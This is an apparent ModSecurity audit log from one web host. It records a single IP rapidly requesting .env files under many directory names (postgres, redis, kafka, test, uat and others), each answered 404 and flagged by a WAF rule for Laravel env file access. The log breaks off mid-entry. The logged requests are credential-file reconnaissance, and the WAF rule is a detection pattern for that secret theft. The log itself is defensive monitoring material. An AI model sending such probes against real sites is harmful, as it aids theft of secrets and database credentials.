--04d73876-A--
[13/Sep/2026:05:37:34.456822 +0300] aqYMbmM7dE9KgIIOpQhd-QAAAMU 34.175.231.24 39588 127.0.0.1 7081
--04d73876-B--
GET /postgres/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--04d73876-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--04d73876-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/postgres/.env"] [unique_id "aqYMbmM7dE9KgIIOpQhd-QAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267054298107 158792 (- - -)
Stopwatch2: 1789267054298107 158792; combined=7674, p1=576, p2=7035, p3=0, p4=0, p5=62, sr=209, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--04d73876-Z--

--c1cd9d13-A--
[13/Sep/2026:05:37:36.130103 +0300] aqYMb0wu1RSkptiiNIXtywAAAJg 34.175.231.24 43070 127.0.0.1 7081
--c1cd9d13-B--
GET /mongodb/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c1cd9d13-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c1cd9d13-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mongodb/.env"] [unique_id "aqYMb0wu1RSkptiiNIXtywAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267055990712 139448 (- - -)
Stopwatch2: 1789267055990712 139448; combined=6170, p1=1036, p2=5080, p3=0, p4=0, p5=53, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1cd9d13-Z--

--a5540354-A--
[13/Sep/2026:05:37:38.007899 +0300] aqYMcUwu1RSkptiiNIXtzQAAAIE 34.175.231.24 43108 127.0.0.1 7081
--a5540354-B--
GET /redis/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a5540354-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a5540354-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/redis/.env"] [unique_id "aqYMcUwu1RSkptiiNIXtzQAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267057833959 173997 (- - -)
Stopwatch2: 1789267057833959 173997; combined=5536, p1=300, p2=5177, p3=0, p4=0, p5=59, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5540354-Z--

--6c723702-A--
[13/Sep/2026:05:37:40.027575 +0300] aqYMczTJ6xTvcJoem7f1lgAAAE4 34.175.231.24 43122 127.0.0.1 7081
--6c723702-B--
GET /elasticsearch/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--6c723702-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c723702-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/elasticsearch/.env"] [unique_id "aqYMczTJ6xTvcJoem7f1lgAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267059893788 133883 (- - -)
Stopwatch2: 1789267059893788 133883; combined=8907, p1=3334, p2=5501, p3=0, p4=0, p5=71, sr=988, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c723702-Z--

--cd4cc919-A--
[13/Sep/2026:05:37:42.038778 +0300] aqYMdWM7dE9KgIIOpQheAAAAAMw 34.175.231.24 43138 127.0.0.1 7081
--cd4cc919-B--
GET /rabbitmq/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--cd4cc919-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cd4cc919-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/rabbitmq/.env"] [unique_id "aqYMdWM7dE9KgIIOpQheAAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267061918131 120722 (- - -)
Stopwatch2: 1789267061918131 120722; combined=4476, p1=327, p2=4092, p3=0, p4=0, p5=56, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cd4cc919-Z--

--950c315e-A--
[13/Sep/2026:05:37:44.668002 +0300] aqYMeEwu1RSkptiiNIXtzgAAAJc 34.175.231.24 43140 127.0.0.1 7081
--950c315e-B--
GET /kafka/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--950c315e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--950c315e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/kafka/.env"] [unique_id "aqYMeEwu1RSkptiiNIXtzgAAAJc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267064549238 118834 (- - -)
Stopwatch2: 1789267064549238 118834; combined=4117, p1=224, p2=3824, p3=0, p4=0, p5=69, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--950c315e-Z--

--d9840939-A--
[13/Sep/2026:05:37:46.183463 +0300] aqYMekwu1RSkptiiNIXtzwAAAIY 34.175.231.24 42320 127.0.0.1 7081
--d9840939-B--
GET /queue/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d9840939-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d9840939-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/queue/.env"] [unique_id "aqYMekwu1RSkptiiNIXtzwAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267066064973 118594 (- - -)
Stopwatch2: 1789267066064973 118594; combined=6087, p1=281, p2=5685, p3=0, p4=0, p5=120, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d9840939-Z--

--a2b6a95f-A--
[13/Sep/2026:05:37:47.998572 +0300] aqYMe2M7dE9KgIIOpQheAQAAAMk 34.175.231.24 42334 127.0.0.1 7081
--a2b6a95f-B--
GET /worker/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a2b6a95f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a2b6a95f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/worker/.env"] [unique_id "aqYMe2M7dE9KgIIOpQheAQAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267067854673 143983 (- - -)
Stopwatch2: 1789267067854673 143983; combined=6160, p1=481, p2=5604, p3=0, p4=0, p5=74, sr=221, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a2b6a95f-Z--

--0099c70b-A--
[13/Sep/2026:05:37:49.713723 +0300] aqYMfWM7dE9KgIIOpQheAgAAANc 34.175.231.24 42336 127.0.0.1 7081
--0099c70b-B--
GET /job/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0099c70b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0099c70b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/job/.env"] [unique_id "aqYMfWM7dE9KgIIOpQheAgAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267069582970 130810 (- - -)
Stopwatch2: 1789267069582970 130810; combined=4180, p1=275, p2=3815, p3=0, p4=0, p5=89, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0099c70b-Z--

--a59b5167-A--
[13/Sep/2026:05:37:51.659913 +0300] aqYMf2M7dE9KgIIOpQheAwAAAM8 34.175.231.24 42340 127.0.0.1 7081
--a59b5167-B--
GET /test/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a59b5167-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a59b5167-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/test/.env"] [unique_id "aqYMf2M7dE9KgIIOpQheAwAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267071524755 135215 (- - -)
Stopwatch2: 1789267071524755 135215; combined=8212, p1=1131, p2=6374, p3=0, p4=0, p5=707, sr=151, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a59b5167-Z--

--84e5547c-A--
[13/Sep/2026:05:37:53.350089 +0300] aqYMgTTJ6xTvcJoem7f1lwAAAEQ 34.175.231.24 42348 127.0.0.1 7081
--84e5547c-B--
GET /qa/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--84e5547c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--84e5547c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/qa/.env"] [unique_id "aqYMgTTJ6xTvcJoem7f1lwAAAEQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267073200061 150084 (- - -)
Stopwatch2: 1789267073200061 150084; combined=8589, p1=556, p2=7975, p3=0, p4=0, p5=58, sr=212, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84e5547c-Z--

--1838f20b-A--
[13/Sep/2026:05:37:55.423692 +0300] aqYMg0wu1RSkptiiNIXt0QAAAJE 34.175.231.24 42368 127.0.0.1 7081
--1838f20b-B--
GET /preview/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--1838f20b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1838f20b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/preview/.env"] [unique_id "aqYMg0wu1RSkptiiNIXt0QAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267075239176 184654 (- - -)
Stopwatch2: 1789267075239176 184654; combined=6149, p1=299, p2=4439, p3=0, p4=0, p5=1410, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1838f20b-Z--

--3dbd9009-A--
[13/Sep/2026:05:37:56.633292 +0300] aqYMhEwu1RSkptiiNIXt0gAAAI8 34.175.231.24 47660 127.0.0.1 7081
--3dbd9009-B--
GET /beta/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--3dbd9009-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3dbd9009-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/beta/.env"] [unique_id "aqYMhEwu1RSkptiiNIXt0gAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267076512139 121221 (- - -)
Stopwatch2: 1789267076512139 121221; combined=4684, p1=303, p2=4266, p3=0, p4=0, p5=114, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3dbd9009-Z--

--c9b9c60f-A--
[13/Sep/2026:05:37:58.892062 +0300] aqYMhmM7dE9KgIIOpQheBQAAANE 34.175.231.24 47676 127.0.0.1 7081
--c9b9c60f-B--
GET /uat/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c9b9c60f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
